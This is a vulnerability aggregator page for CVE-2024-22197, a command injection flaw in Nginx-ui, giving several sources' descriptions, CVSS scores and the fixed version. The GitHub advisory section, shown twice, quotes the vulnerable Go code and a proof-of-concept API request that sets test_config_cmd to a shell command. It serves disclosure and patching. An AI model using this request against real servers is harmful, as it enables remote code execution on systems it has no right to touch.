Every CVE Search/ Get API key

CVE-2024-22197

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

7.7 HighFix available

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

1.54%Up 1.5 points since Jan 18, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.7

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Record
CVE-2024-22197
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2024-0396 7.7

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Record
EUVD-2024-0396
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-pxmr-q2x3-9x9m 7.7

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may…

Record
GHSA-pxmr-q2x3-9x9m
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-77
Updated
2026-11-02
NVD 7.7

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Record
CVE-2024-22197
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV 7.7

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Record
CVE-2024-22197
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-77
Updated
2026-11-02
OSVGHSA-pxmr-q2x3-9x9m 7.7

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may…

Record
GHSA-pxmr-q2x3-9x9m
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-77
Updated
2026-11-02
OSVGO-2024-2464 No score

Remote command execution in github.com/0xJacky/Nginx-UI

Remote command execution in github.com/0xJacky/Nginx-UI

Record
GO-2024-2464
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/0xJacky/Nginx-UI
Go
before 1.9.10-0.20231219184941-827e76c46e63
1.9.10-0.20231219184941-827e76c46e63

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-22197 is a high vulnerability (CVSS 7.7) in 0xjacky Nginx-ui, published January 11, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.54%, the 74th percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20231219184941-827e76c46e63.

References

Show 4 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open